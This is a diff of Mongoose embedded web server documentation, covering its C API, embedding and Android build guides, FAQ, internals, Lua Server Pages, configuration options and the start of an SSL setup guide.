||||
Mongoose has single-threaded, event-driven, asynchronous, non-blocking core.
|
||||
When server instance is created, it contains an information about
|
||||
the configuration and the state of each connection.
|
||||
Server instance is capable on listening on only one port. After creation,
|
||||
`struct mg_server` has a list
|
||||
of active connections, initially empty. It has a list of URI handlers,
|
||||
initially empty, and configuration parameters. Configuration can be
|
||||
altered by `mg_set_option()`, and new URI handlers could be added by
|
||||
`mg_add_uri_handler()`.
|
||||
|
||||
Side-effect: on UNIX, `mg_create_server()` ignores SIGPIPE signals. If custom
|
||||
processing is required SIGPIPE, signal handler must be set up after
|
||||
calling `mg_create_server()`.
|
||||
|
||||
Important: Mongoose does not install `SIGCHLD` handler. If CGI is used,
|
||||
`SIGCHLD` handler must be set up to reap CGI zombie processes.
|
||||
|
||||
|
||||
void mg_destroy_server(struct mg_server **server);
|
||||
|
||||
Deallocates web server instance, closes all pending connections, and makes
|
||||
server pointer a NULL pointer.
|
||||
|
||||
const char mg_set_option(struct mg_server *server, const char *name,
|
||||
const char *value);
|
||||
|
||||
Sets a particular server option. Please refer to a separate documentation page
|
||||
that lists all available option names. Note that at least one option,
|
||||
`listening_port`, must be specified. To serve static files, `document_root`
|
||||
must be specified too. If `document_root` option is left unset, Mongoose
|
||||
will not access filesystem at all. This function returns NULL if option was
|
||||
set successfully, otherwise it returns human-readable error string. It is
|
||||
allowed to call `mg_set_option()` by the same thread that does
|
||||
`mg_poll_server()` (an IO thread) and change server configuration while it
|
||||
is serving, in between `mg_poll_server()` calls.
|
||||
|
||||
void mg_poll_server(struct mg_server *server, int milliseconds);
|
||||
|
||||
This function performs one iteration of IO loop by iterating over all
|
||||
active connections, performing `select()` syscall on all sockets with a timeout
|
||||
of `milliseconds` number of milliseconds. When `select()` returns, Mongoose
|
||||
does an IO for each socket that has data to be sent or received. Application
|
||||
code must call `mg_poll_server()` in a loop. It is an error to have more then
|
||||
one thread calling `mg_poll_server()`, `mg_set_option()` or any other function
|
||||
that take `struct mg_server *` parameter. Mongoose does not
|
||||
mutex-protect `struct mg_server *`, therefore the best practice is
|
||||
to call server management functions from the same thread (an IO thread).
|
||||
|
||||
void mg_set_auth_handler(struct mg_server *, mg_handler_t handler);
|
||||
|
||||
Sets authorization handler. Called by Mongoose on each request, before
|
||||
performing any other action. Handler can return either `MG_AUTH_OK` or
|
||||
`MG_AUTH_FAIL`. If `handler` returns `MG_AUTH_FAIL`, then Mongoose sends
|
||||
digest authorization request to the client. If `handler returns `MG_AUTH_OK`,
|
||||
then mongoose proceeds with handling the request. Handler function can use
|
||||
`mg_authorize_digest()` function to verify authorization, or implement any other
|
||||
custom authorization mechanism.
|
||||
|
||||
void mg_set_request_handler(struct mg_server *, mg_handler_t handler);
|
||||
|
||||
Sets a request handler. When set, `handler` will be called for each request.
|
||||
Possible return values from a handler function are `MG_REQUEST_NOT_PROCESSED`,
|
||||
`MG_REQUEST_PROCESSED` and `MG_REQUEST_CALL_AGAIN`. If handler returns
|
||||
`MG_REQUEST_NOT_PROCESSED`, mongoose will proceed with handling the request.
|
||||
If handler returns `MG_REQUEST_PROCESSED`, that signals mongoose that handler
|
||||
has already processed the connection, and mongoose will skip to the next
|
||||
request. `MG_REQUEST_CALL_AGAIN` tells mongoose to call request handler
|
||||
again and again on each `mg_poll_server()` iteration.
|
||||
|
||||
When mongoose buffers in HTTP request and successfully parses it, it calls
|
||||
appropriate URI handler immediately for GET requests. For POST requests,
|
||||
Mongoose delays the call until the whole POST request is buffered in memory.
|
||||
POST data is available to the callback as `struct mg_connection::content`,
|
||||
and POST data length is in `struct mg_connection::content_len`.
|
||||
|
||||
Note that websocket connections are treated the same way. Mongoose buffers
|
||||
websocket frame in memory, and calls URI handler when frame is fully
|
||||
buffered. Frame data is available `struct mg_connection::content`, and
|
||||
data length is in `struct mg_connection::content_len`, i.e. very similar to
|
||||
the POST request. `struct mg_connection::is_websocket` flag indicates
|
||||
whether the request is websocket or not. Also, for websocket requests,
|
||||
there is `struct mg_connection::wsbits` field which contains first byte
|
||||
of the websocket frame which URI handler can examine. Note that to
|
||||
reply to the websocket client, `mg_websocket_write()` should be used.
|
||||
To reply to the plain HTTP client, `mg_write_data()` should be used. Note that
|
||||
websocket handler must return either `MG_CLIENT_CLOSE` or `MG_CLIENT_CONTINUE`
|
||||
value.
|
||||
|
||||
void mg_set_http_error_handler(struct mg_server *, mg_handler_t);
|
||||
|
||||
Adds HTTP error handler. An actual HTTP error is passed as
|
||||
`struct mg_connection::status_code` parameter.
|
||||
Hanlder should return either `MG_ERROR_PROCESSED` or `MG_ERROR_NOT_PROCESSED`.
|
||||
If handler returns `MG_ERROR_NOT_PROCESSED`, it
|
||||
means a handler has not processed the connection, and mongoose proceeds
|
||||
with sending HTTP error to the client. Otherwise, mongoose does nothing.
|
||||
|
||||
const char **mg_get_valid_option_names(void);
|
||||
|
||||
Returns a NULL-terminated array of option names and their default values.
|
||||
There are two entries per option in an array: an option name followed by a
|
||||
default value. A default value could be NULL. A NULL name indicates an end
|
||||
of the array.
|
||||
|
||||
const char *mg_get_option(const struct mg_server *server, const char *name);
|
||||
|
||||
Returns the value of particular configuration parameter. If
|
||||
given parameter name is not valid, NULL is returned. For valid names, return
|
||||
value is guaranteed to be non-NULL. If parameter is not set, zero-length string
|
||||
is returned.
|
||||
|
||||
|
||||
int mg_iterate_over_connections(struct mg_server *,
|
||||
void (*func)(struct mg_connection *, void *),
|
||||
void *param);
|
||||
|
||||
This is an interface primarily designed to push arbitrary data to websocket
|
||||
connections at any time. This function could be called from any thread. When
|
||||
it returns, an IO thread called `func()` on each active connection,
|
||||
passing `param` as an extra parameter. It is allowed to call `mg_send_data()` or
|
||||
`mg_websocket_write()` within a callback, cause `func` is executed in the
|
||||
context of the IO thread.
|
||||
|
||||
void mg_send_status(struct mg_connection *, int status_code);
|
||||
void mg_send_header(struct mg_connection *, const char *name,
|
||||
const char *value);
|
||||
void mg_send_data(struct mg_connection *, const void *data, int data_len);
|
||||
void mg_printf_data(struct mg_connection *, const char *format, ...);
|
||||
|
||||
These functions are used to construct a response to the client. HTTP response
|
||||
consists of three parts: a status line, zero or more HTTP headers,
|
||||
a response body. Mongoose provides functions for all three parts:
|
||||
* `mg_send_status()` is used to create status line. This function can be
|
||||
called zero or once. If `mg_send_status()` is not called, then Mongoose
|
||||
will send status 200 (success) implicitly.
|
||||
* `mg_send_header()` adds HTTP header to the response. This function could
|
||||
be called zero or more times.
|
||||
* `mg_send_data()` and `mg_printf_data()` are used to send data to the
|
||||
client. Note that Mongoose adds `Transfer-Encoding: chunked` header
|
||||
implicitly, and sends data in chunks. Therefore, it is not necessary to
|
||||
set `Content-Length` header. Note that `mg_send_data()` and
|
||||
`mg_printf_data()` do not send data immediately. Instead, they spool
|
||||
data in memory, and Mongoose sends that data later after URI handler
|
||||
returns. If data to be sent is huge, an URI handler might
|
||||
send data in pieces by saving state in
|
||||
`struct mg_connection::connection_param` variable and returning `0`. Then
|
||||
Mongoose will call a handler repeatedly after each socket write.
|
||||
|
||||
<!-- -->
|
||||
|
||||
int mg_websocket_write(struct mg_connection* conn, int opcode,
|
||||
const char *data, size_t data_len);
|
||||
|
||||
Similar to `mg_write()`, but wraps the data into a websocket frame with a
|
||||
given websocket `opcode`.
|
||||
|
||||
const char *mg_get_header(const struct mg_connection *, const char *name);
|
||||
|
||||
Get the value of particular HTTP header. This is a helper function.
|
||||
It traverses http_headers array, and if the header is present in the array,
|
||||
returns its value. If it is not present, NULL is returned.
|
||||
|
||||
|
||||
int mg_get_var(const struct mg_connection *conn, const char *var_name,
|
||||
char *buf, size_t buf_len);
|
||||
|
||||
Gets HTTP form variable. Both POST buffer and query string are inspected.
|
||||
Form variable is url-decoded and written to the buffer. On success, this
|
||||
function returns the length of decoded variable. On error, -1 is returned if
|
||||
variable not found, and -2 is returned if destination buffer is too small
|
||||
to hold the variable. Destination buffer is guaranteed to be
|
||||
'\0' - terminated if it is not NULL or zero length.
|
||||
|
||||
int mg_parse_header(const char *hdr, const char *var_name, char *buf,
|
||||
size_t buf_size);
|
||||
|
||||
This function parses HTTP header and fetches given variable's value in a buffer.
|
||||
A header should be like `x=123, y=345, z="other value"`. This function is
|
||||
designed to parse Cookie headers, Authorization headers, and similar. Returns
|
||||
the length of the fetched value, or 0 if variable not found.
|
||||
|
||||
int mg_modify_passwords_file(const char *passwords_file_name,
|
||||
const char *domain,
|
||||
const char *user,
|
||||
const char *password);
|
||||
|
||||
Add, edit or delete the entry in the passwords file.
|
||||
This function allows an application to manipulate .htpasswd files on the
|
||||
fly by adding, deleting and changing user records. This is one of the
|
||||
several ways of implementing authentication on the server side. For another,
|
||||
cookie-based way please refer to the examples/chat.c in the source tree.
|
||||
If password is not NULL, entry is added (or modified if already exists).
|
||||
If password is NULL, entry is deleted.
|
||||
Return: 1 on success, 0 on error.
|
||||
@@ -0,0 +1,27 @@
|
||||
# Mongoose Build on Android
|
||||
|
||||
This is a small guide to help you run mongoose on Android. Currently it is
|
||||
tested on the HTC Wildfire. If you have managed to run it on other devices
|
||||
as well, please comment or drop an email in the mailing list.
|
||||
Note : You dont need root access to run mongoose on Android.
|
||||
|
||||
- Clone Mongoose Git repo
|
||||
- Download the Android NDK from [http://developer.android.com/tools/sdk/ndk/index.html](http://developer.android.com/tools/sdk/ndk/index.html)
|
||||
- Run `/path-to-ndk/ndk-build -C /path-to-mongoose/build`
|
||||
That should generate mongoose/lib/armeabi/mongoose
|
||||
- Using the adb tool (you need to have Android SDK installed for that),
|
||||
push the generated mongoose binary to `/data/local` folder on device.
|
||||
- From adb shell, navigate to `/data/local` and execute `./mongoose`.
|
||||
- To test if the server is running fine, visit your web-browser and
|
||||
navigate to `http://127.0.0.1:8080` You should see the `Index of /` page.
|
||||
|
||||

|
||||
|
||||
|
||||
Notes:
|
||||
|
||||
- `jni` stands for Java Native Interface. Read up on Android NDK if you want
|
||||
to know how to interact with the native C functions of mongoose in Android
|
||||
Java applications.
|
||||
- TODO: A Java application that interacts with the native binary or a
|
||||
shared library.
|
||||
+108
@@ -0,0 +1,108 @@
|
||||
# Mongoose Embedding Guide
|
||||
|
||||
Embedding Mongoose is done in two steps:
|
||||
|
||||
1. Copy
|
||||
[mongoose.c](https://raw.github.com/cesanta/mongoose/master/mongoose.c) and
|
||||
[mongoose.h](https://raw.github.com/cesanta/mongoose/master/mongoose.h)
|
||||
to your application's source tree and include them in the build.
|
||||
2. Somewhere in the application code, call `mg_create_server()` to create
|
||||
a server, configure it with `mg_set_option()` and loop with
|
||||
`mg_poll_server()` until done. Call `mg_destroy_server()` to cleanup.
|
||||
|
||||
Here's a minimal application `app.c` that embeds mongoose:
|
||||
|
||||
#include "mongoose.h"
|
||||
int main(void) {
|
||||
struct mg_server *server = mg_create_server(NULL);
|
||||
mg_set_option(server, "document_root", ".");
|
||||
mg_set_option(server, "listening_port", "8080");
|
||||
for (;;) mg_poll_server(server, 1000); // Infinite loop, Ctrl-C to stop
|
||||
mg_destroy_server(&server);
|
||||
return 0;
|
||||
}
|
||||
|
||||
To compile it, put `mongoose.c`, `mongoose.h` and `minimal.c` into one
|
||||
folder, start terminal on UNIX or Visual Studio command line prompt on Windows,
|
||||
and run the following command:
|
||||
|
||||
cc app.c mongoose.c -o app # on Unix
|
||||
cl app.c mongoose.c /TC /MD # on Windows
|
||||
|
||||
When run, this simple application opens port 8080 and serves static files,
|
||||
CGI files and lists directory content in the current working directory.
|
||||
|
||||
Mongoose can call user-defined functions when certain URIs are requested.
|
||||
These functions are _called uri handlers_. `mg_add_uri_handler()` registers
|
||||
an URI handler, and there is no restriction exist on the number of URI handlers.
|
||||
Also, mongoose can call a user-defined function when it is about to send
|
||||
HTTP error back to client. That function is called _http error handler_ and
|
||||
can be registered by `mg_set_http_error_handler()`. Handlers are called
|
||||
by Mongoose with `struct mg_connection *` pointer as a parameter, which
|
||||
has all information about the request: HTTP headers, POST or websocket
|
||||
data buffer, etcetera.
|
||||
|
||||
Let's extend our minimal application example and
|
||||
create an URI that will be served by user's C code. The app will handle
|
||||
`/hello` URI by showing a hello message. So, when app is run,
|
||||
http://127.0.0.1:8080/hello will say hello, and here's the code:
|
||||
|
||||
#include <string.h>
|
||||
#include "mongoose.h"
|
||||
|
||||
static int handle_hello(struct mg_connection *conn) {
|
||||
static const char *reply = "Hello world!\n";
|
||||
mg_write_data(conn, reply, strlen(reply));
|
||||
return 1;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
struct mg_server *server = mg_create_server(NULL);
|
||||
mg_set_option(server, "document_root", ".");
|
||||
mg_set_option(server, "listening_port", "8080");
|
||||
mg_add_uri_handler(server, "/hello", &handle_hello);
|
||||
for (;;) mg_poll_server(server, 1000); // Infinite loop, Ctrl-C to stop
|
||||
mg_destroy_server(&server);
|
||||
return 0;
|
||||
}
|
||||
|
||||
Below is the list of compilation flags that enable or disable certain
|
||||
features. By default, some features are enabled, and could be disabled
|
||||
by setting appropriate `NO_*` flag. Features that are disabled by default
|
||||
could be enabled by setting appropriate `USE_*` flag. Bare bones Mongoose
|
||||
is quite small, about 30 kilobytes of compiled x86 code. Each feature adds
|
||||
a couple of kilobytes to the executable size, and also has some runtime penalty.
|
||||
|
||||
-DMONGOOSE_NO_AUTH Disable MD5 authorization support
|
||||
-DMONGOOSE_NO_CGI Disable CGI support
|
||||
-DMONGOOSE_NO_DAV Disable WebDAV support
|
||||
(PUT, DELETE, MKCOL, PROPFIND methods)
|
||||
-DMONGOOSE_NO_DIRECTORY_LISTING Disable directory listing
|
||||
-DMONGOOSE_NO_FILESYSTEM Disables all file IO, serving from memory only
|
||||
-DMONGOOSE_NO_LOGGING Disable access/error logging
|
||||
-DMONGOOSE_NO_THREADS
|
||||
-DMONGOOSE_NO_WEBSOCKET Disable WebSocket support
|
||||
|
||||
-DMONGOOSE_USE_IDLE_TIMEOUT_SECONDS=X Idle connection timeout, default is 30
|
||||
-DMONGOOSE_USE_IPV6 Enable IPv6 support
|
||||
-DMONGOOSE_USE_LUA Enable Lua scripting
|
||||
-DMONGOOSE_USE_LUA_SQLITE3 Enable sqlite3 binding for Lua
|
||||
-DMONGOOSE_USE_SSL Enable SSL
|
||||
-DMONGOOSE_USE_POST_SIZE_LIMIT=X POST requests larger than X will be
|
||||
rejected, not set by default
|
||||
-DMONGOOSE_USE_EXTRA_HTTP_HEADERS=X Append X to the HTTP headers
|
||||
for static files, empty by default
|
||||
-DMONGOOSE_USE_STACK_SIZE=X Let mg_start_thread() use stack
|
||||
size X, default is OS default
|
||||
-DMONGOOSE_ENABLE_DEBUG Enables debug messages on stdout, very noisy
|
||||
|
||||
Mongoose source code contains a well-commented example code, listed below:
|
||||
|
||||
* [hello.c](https://github.com/cesanta/mongoose/blob/master/examples/hello.c)
|
||||
a minimalistic hello world example
|
||||
* [post.c](https://github.com/cesanta/mongoose/blob/master/examples/post.c)
|
||||
shows how to handle form input
|
||||
* [upload.c](https://github.com/cesanta/mongoose/blob/master/examples/post.c)
|
||||
shows how to upload files
|
||||
* [websocket.c](https://github.com/cesanta/mongoose/blob/master/examples/websocket.c) demonstrates websocket usage
|
||||
* [auth.c](https://github.com/cesanta/mongoose/blob/master/examples/websocket.c) demonstrates API-controlled Digest authorization
|
||||
+23
@@ -0,0 +1,23 @@
|
||||
# Mongoose FAQ
|
||||
|
||||
### PHP doesn't work: getting empty page, or 'File not found' error
|
||||
|
||||
The reason for that is wrong paths to the interpreter. Remember that with PHP,
|
||||
correct interpreter is `php-cgi.exe` (`php-cgi` on UNIX). Solution: specify
|
||||
full path to the PHP interpreter, e.g.:
|
||||
|
||||
mongoose -cgi_interpreter /full/path/to/php-cgi
|
||||
|
||||
### Mongoose fails to start
|
||||
|
||||
If Mongoose exits immediately when run, this
|
||||
usually indicates a syntax error in the configuration file
|
||||
(named `mongoose.conf` by default) or the command-line arguments.
|
||||
Syntax checking is omitted from Mongoose to keep its size low. However,
|
||||
the Manual should be of help. Note: the syntax changes from time to time,
|
||||
so updating the config file might be necessary after executable update.
|
||||
|
||||
### Embedding with OpenSSL on Windows might fail because of calling convention
|
||||
|
||||
To force Mongoose to use `__stdcall` convention, add `/Gz` compilation
|
||||
flag to the Visual Studio project settings.
|
||||
@@ -0,0 +1,44 @@
|
||||
# Mongoose Internals
|
||||
|
||||
Mongoose has single-threaded, event-driven, asynchronous, non-blocking core.
|
||||
`mg_create_server()` creates a web server instance. An instance is a container
|
||||
for the config options and list of active connections. To do the actual
|
||||
serving, user must call `mg_poll_server()`, which iterates over all
|
||||
active connections, performing `select()` syscall on all sockets with a
|
||||
timeout of specified number of milliseconds. When `select()` returns, Mongoose
|
||||
does an IO for each socket that has data to be sent or received. Application
|
||||
code must call `mg_poll_server()` in a loop.
|
||||
|
||||
Mongoose server instance is designed to be used by a single thread.
|
||||
It is an error to have more then
|
||||
one thread calling `mg_poll_server()`, `mg_set_option()` or any other function
|
||||
that take `struct mg_server *` parameter. Mongoose does not
|
||||
mutex-protect `struct mg_server *`, therefore the best practice is
|
||||
to call server management functions from the same thread (an IO thread).
|
||||
On a multi-core systems, many server instances can be created, sharing the
|
||||
same listening socket and managed by separate threads (see [multi_threaded.c](https://github.com/cesanta/mongoose/blob/master/examples/multi_threaded.c))
|
||||
example.
|
||||
|
||||
It is an error to pass and store `struct mg_connection *` pointers for
|
||||
later use to send data. The reason is that they can be invalidated by the
|
||||
next `mg_poll_server()` call. For such a task,
|
||||
there is `mg_iterate_over_connections()` API
|
||||
exists, which sends a callback function to the IO thread, then IO thread
|
||||
calls specified function for all active connection.
|
||||
|
||||
When mongoose buffers in HTTP request and successfully parses it, it calls
|
||||
appropriate URI handler immediately for GET requests. For POST requests,
|
||||
Mongoose delays the call until the whole POST request is buffered in memory.
|
||||
POST data is available to the callback as `struct mg_connection::content`,
|
||||
and POST data length is in `struct mg_connection::content_len`.
|
||||
|
||||
Note that websocket connections are treated the same way. Mongoose buffers
|
||||
websocket frame in memory, and calls URI handler when frame is fully
|
||||
buffered. Frame data is available `struct mg_connection::content`, and
|
||||
data length is in `struct mg_connection::content_len`, i.e. very similar to
|
||||
the POST request. `struct mg_connection::is_websocket` flag indicates
|
||||
whether the request is websocket or not. Also, for websocket requests,
|
||||
there is `struct mg_connection::wsbits` field which contains first byte
|
||||
of the websocket frame which URI handler can examine. Note that to
|
||||
reply to the websocket client, `mg_websocket_write()` should be used.
|
||||
To reply to the plain HTTP client, `mg_write()` should be used.
|
||||
@@ -0,0 +1,59 @@
|
||||
# Mongoose Lua Server Pages
|
||||
|
||||
Pre-built Windows and Mac mongoose binaries support Lua Server Pages
|
||||
functionality.
|
||||
That means it is possible to write PHP-like scripts with mongoose
|
||||
using Lua programming language instead of PHP. Lua is known
|
||||
for it's speed and small size. Mongoose uses Lua version 5.2.1, the
|
||||
documentation for it can be found at
|
||||
[Lua 5.2 reference manual](http://www.lua.org/manual/5.2/).
|
||||
|
||||
To create a Lua Page, make a file that is called `<something>.lp`. For example,
|
||||
let's say it is going to be `my_page.lp`. It is important to have a file
|
||||
name that ends up with `.lp`, cause this is the way mongoose recognises
|
||||
Lua Page file. The contents of the file, just like
|
||||
with PHP, is HTML with embedded Lua code. Lua code must be enclosed within
|
||||
`<? ?>` blocks, and can appear anywhere on the page.
|
||||
|
||||
Mongoose does not send HTTP headers for Lua pages. Therefore,
|
||||
every Lua Page must begin with HTTP status line and headers, like this:
|
||||
|
||||
<? mg.write('HTTP/1.0 200 OK\r\nContent-Type: text/html\r\n\r\n') ?>
|
||||
<html><body>
|
||||
<span>Today is:</span> <? mg.write(os.date("%A")) ?>
|
||||
</body></html>
|
||||
|
||||
Note that this example uses function `mg.write()`, which prints data to the
|
||||
web page. Using function `mg.write()` is the way to generate web content from
|
||||
inside Lua code. In addition to `mg.write()`, all standard library functions
|
||||
are accessible from the Lua code (please check reference manual for details).
|
||||
Information about the request is available in `mg.request_info` object.
|
||||
I contains request method, all headers, etcetera. Please refer to
|
||||
`struct mg_request_info` definition in
|
||||
[mongoose.h](https://github.com/cesanta/mongoose/blob/master/mongoose.h)
|
||||
to see what is available in `mg.request_info`. Also,
|
||||
[page.lp](https://github.com/cesanta/mongoose/blob/master/test/page.lp) and
|
||||
[prime_numbers.lp](https://github.com/cesanta/mongoose/blob/master/examples/lua/prime_numbers.lp)
|
||||
contain some example code that uses `request_info` and other functions,
|
||||
like form submission.
|
||||
|
||||
Mongoose exports the following to the Lua server page:
|
||||
|
||||
mg.write(str) -- writes string to the client
|
||||
mg.onerror(msg) -- error handler, can be overridden
|
||||
mg.request_info -- a table with request information
|
||||
sqlite3 -- Sqlite3 interface
|
||||
|
||||
slite3 functions are documented at [lua.sqlite.org](http://lua.sqlite.org/),
|
||||
and usage example is at
|
||||
[page.lp](https://github.com/cesanta/mongoose/blob/master/test/page.lp).
|
||||
|
||||
Using Lua scripting it is easy to emulate SSI functionality. For example,
|
||||
to include the content of another file, one can write:
|
||||
|
||||
<? mg.write(io.open('MY_FILE.TXT'):read('*all')) ?>
|
||||
|
||||
To serve a Lua Page, mongoose creates Lua context. That context is used for
|
||||
all Lua blocks within the page. That means, all Lua blocks on the same page
|
||||
share the same context. If one block defines a variable, for example, that
|
||||
variable is visible in the block that follows.
|
||||
+140
@@ -0,0 +1,140 @@
|
||||
# Mongoose Configuration Options
|
||||
|
||||
### access\_control\_list
|
||||
An Access Control List (ACL) allows restrictions to be put on the list of IP
|
||||
addresses which have access to the web server. In the case of the Mongoose
|
||||
web server, the ACL is a comma separated list of IP subnets, where each
|
||||
subnet is prepended by either a `-` or a `+` sign. A plus sign means allow,
|
||||
where a minus sign means deny. If a subnet mask is omitted, such as `-1.2.3.4`,
|
||||
this means to deny only that single IP address.
|
||||
|
||||
Subnet masks may vary from 0 to 32, inclusive. The default setting is to allow
|
||||
all accesses. On each request the full list is traversed, and
|
||||
the last match wins. Example: `$ mongoose -access_control_list -0.0.0.0/0,+192.168/16` to deny all acccesses except from 192.168/16 subnet. To learn
|
||||
more about subnet masks, see the
|
||||
[Wikipedia page on Subnetwork](http://en.wikipedia.org/wiki/Subnetwork)
|
||||
|
||||
Default: not set, all accesses are allowed.
|
||||
|
||||
### access\_log\_file
|
||||
Path to a file for access logs. Either full path, or relative to the
|
||||
mongoose executable. Default: not set, no query logging is done.
|
||||
|
||||
### auth_domain
|
||||
Authorization realm used in `.htpasswd` authorization. Default: `mydomain.com`
|
||||
|
||||
### cgi_interpreter
|
||||
Path to an executable to use as CGI interpreter for __all__ CGI scripts
|
||||
regardless script extension.
|
||||
for an interpreter. Default: not set, Mongoose looks at
|
||||
[shebang line](http://en.wikipedia.org/wiki/Shebang_(Unix\).
|
||||
|
||||
For example, if both PHP and perl CGIs are used, then
|
||||
`#!/path/to/php-cgi.exe` and `#!/path/to/perl.exe` must be first lines of the
|
||||
respective CGI scripts. Note that paths should be either full file paths,
|
||||
or file paths relative to the directory where mongoose server is located.
|
||||
|
||||
If all CGIs use the same interpreter, for example they are all PHP, then
|
||||
`cgi_interpreter` option can be set to the path to `php-cgi.exe` executable and
|
||||
shebang line in the CGI scripts can be omitted.
|
||||
Note that PHP scripts must use `php-cgi.exe` executable, not `php.exe`.
|
||||
|
||||
### cgi_pattern
|
||||
All files that match `cgi_pattern` are treated as CGI files. Default pattern
|
||||
allows CGI files be anywhere. To restrict CGIs to a certain directory,
|
||||
use `/path/to/cgi-bin/**.cgi` as pattern. Note that full file path is
|
||||
matched against the pattern, not the URI. Note: if `MONGOOSE_CGI` environment
|
||||
variable is set, then Mongoose passes it to the CGI script.
|
||||
|
||||
Default: `**.cgi$|**.pl$|**.php$`
|
||||
|
||||
### dav\_auth\_file
|
||||
Authentication file for WebDAV mutation requests: `PUT`, `DELETE`, `MKCOL`.
|
||||
The format of that file is the same as for the `.htpasswd` file
|
||||
used for digest authentication. It can be created and managed by
|
||||
`mongoose -A` command. Default: not set, WebDAV mutations are disallowed.
|
||||
|
||||
### document_root
|
||||
A directory to serve. Default: current working directory.
|
||||
|
||||
### enable\_directory\_listing
|
||||
Enable directory listing, either `yes` or `no`. Default: `yes`.
|
||||
|
||||
### error\_log\_file
|
||||
Path to a file for error logs. Either full path, or relative to the
|
||||
mongoose executable. Default: not set, no errors are logged.
|
||||
|
||||
### extra\_mime\_types
|
||||
Extra mime types to recognize, in form `extension1=type1,extension2=type2,...`.
|
||||
Extension must include dot. Example:
|
||||
`mongoose -extra_mime_types .cpp=plain/text,.java=plain/text`. Default: not set.
|
||||
|
||||
|
||||
### global\_auth\_file
|
||||
Path to a global passwords file, either full path or relative to the mongoose
|
||||
executable. If set, per-directory `.htpasswd` files are ignored,
|
||||
and all requests are authorised against that file. Use `mongoose -A` to
|
||||
manage passwords, or third party utilities like
|
||||
[htpasswd-generator](http://www.askapache.com/online-tools/htpasswd-generator).
|
||||
Default: not set, per-directory `.htpasswd` files are respected.
|
||||
|
||||
### hide\_files\_patterns
|
||||
A pattern for the files to hide. Files that match the pattern will not
|
||||
show up in directory listing and return `404 Not Found` if requested. Pattern
|
||||
must be for a file name only, not including directory name, e.g.
|
||||
`mongoose -hide_files_patterns secret.txt|even_more_secret.txt`. Default:
|
||||
not set.
|
||||
|
||||
### idle\_timeout\_ms
|
||||
Timeout for idle connections. Default: 30000 (30 seconds)
|
||||
|
||||
### index_files
|
||||
Comma-separated list of files to be treated as directory index
|
||||
files. Default: `index.html,index.htm,index.cgi,index.shtml,index.php`
|
||||
|
||||
### ssl_certificate
|
||||
Path to SSL certificate file. The file must be in PEM format,
|
||||
and it must have both private key and certificate, see for example
|
||||
[ssl_cert.pem](https://github.com/cesanta/mongoose/blob/master/build/ssl_cert.pem). If this option is set, then Mongoose serves SSL connections on
|
||||
`listening_port`. Default: not set.
|
||||
|
||||
### listening_port
|
||||
Port to listen on. Port could be prepended by the specific IP address to bind
|
||||
to, e.g. `mongoose -listening_port 127.0.0.1:8080`. Otherwise Mongoose
|
||||
will bind to all addresses. Default: 8080.
|
||||
|
||||
### run\_as\_user
|
||||
Switch to given user credentials after startup. UNIX-only. This option is
|
||||
required when mongoose needs to bind on privileged port on UNIX, e.g.
|
||||
|
||||
$ sudo mongoose -listening_ports 80 -run_as_user nobody
|
||||
|
||||
Default: not set.
|
||||
|
||||
### url\_rewrites
|
||||
Comma-separated list of URL rewrites in the form of
|
||||
`uri_pattern=file_or_directory_path`. When Mongoose receives the request,
|
||||
it constructs the file name to show by combining `document_root` and the URI.
|
||||
However, if the rewrite option is used and `uri_pattern` matches the
|
||||
requested URI, then `document_root` is ignored. Insted,
|
||||
`file_or_directory_path` is used, which should be a full path name or
|
||||
a path relative to the web server's current working directory. Note that
|
||||
`uri_pattern`, as all mongoose patterns, is a prefix pattern. If `uri_patters`
|
||||
is a number, then it is treated as HTTP error code, and `file_or_directory_path`
|
||||
should be an URI to redirect to. Mongoose will issue `302` temporary redirect
|
||||
to the specified URI, appending two parameters:
|
||||
`?code=<http_error_code&orig_uri=<original_uri>`.
|
||||
|
||||
This makes it possible to serve many directories outside from `document_root`,
|
||||
redirect all requests to scripts, and do other tricky things. Examples:
|
||||
|
||||
# Redirect all accesses to `.doc` files to a special script
|
||||
mongoose -url_rewrites **.doc$=/path/to/cgi-bin/handle_doc.cgi
|
||||
|
||||
# Implement user home directories support
|
||||
mongoose -url_rewrites /~joe/=/home/joe/,/~bill=/home/bill/
|
||||
|
||||
# Redirect 404 errors to a specific error page
|
||||
mongoose -url_rewrites 404=/cgi-bin/error.cgi
|
||||
|
||||
Default: not set.
|
||||
+75
@@ -0,0 +1,75 @@
|
||||
# Mongoose SSL guide
|
||||
|
||||
SSL is a protocol that makes web communication secure. To enable SSL
|
||||
in mongoose, 3 steps are required:
|
||||
|
||||
1. Valid certificate file must be created
|
||||
2. `ssl_certificate` options must be set to contain path to the
|
||||
certificate file.
|
||||
3. `listening_ports` option must contain a port number with letter `s`
|
||||
appended to it, which instructs Mongoose to use SSL for all connections
|
||||
made to that port.
|
||||
|
||||
Below is the `mongoose.conf` file snippet for typical SSL setup:
|
||||
|
||||
document_root www_root # Serve files in www_root directory
|
||||
listening_ports 80r,443s # Redirect all HTTP requests to HTTPS
|
||||
ssl_certificate ssl_cert.pem # Location of certificate file
|
||||
|
||||
## How to create SSL certificate file
|
||||
|
||||
SSL certificate file is a text file that must contain at least two
|
||||
sections:
|
||||
|
||||
1. A private key
|
||||
2. A certificate
|
||||
|
||||
Both sections should be chunks of text in PEM format. When PEM file is
|
||||
opened in a text editor, it looks like this:
|
||||
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEogIBAAKCAQEAwONaLOP7EdegqjRuQKSDXzvHmFMZfBufjhELhNjo5KsL4ieH
|
||||
hYN0Zii2yTb63jGxKY6gH1R/r9dL8kXaJmcZrfSa3AgywnteJWg=
|
||||
-----END RSA PRIVATE KEY-----
|
||||
-----BEGIN CERTIFICATE-----
|
||||
MIIDBjCCAe4CCQCX05m0b053QzANBgkqhkiG9w0BAQQFADBFMQswCQYDVQQGEwJB
|
||||
SEGI4JSxV56lYg==
|
||||
-----END CERTIFICATE-----
|
||||
|
||||
Two aforementioned sections are clearly seen. Typically, those section
|
||||
are bigger then in the example shown. The text between the `BEGIN` and
|
||||
`END` is the text representation of binary data, a private key and a
|
||||
certificate. Therefore, in order to create a certificate file,
|
||||
|
||||
* private key must be converted to PEM format
|
||||
* certificate must be converted to PEM format
|
||||
* those two should be concatenated into a single file
|
||||
|
||||
If the certificate chain in used, a chain file also needs to be
|
||||
converted into PEM format and appended to the certificate file.
|
||||
|
||||
## How SSL works
|
||||
|
||||
SSL is a protocol that can encrypt communication between two parties. If third
|
||||
party observes all messages passed by, it would be very
|
||||
hard for the third party (though not impossible) to decrypt the communication.
|
||||
|
||||
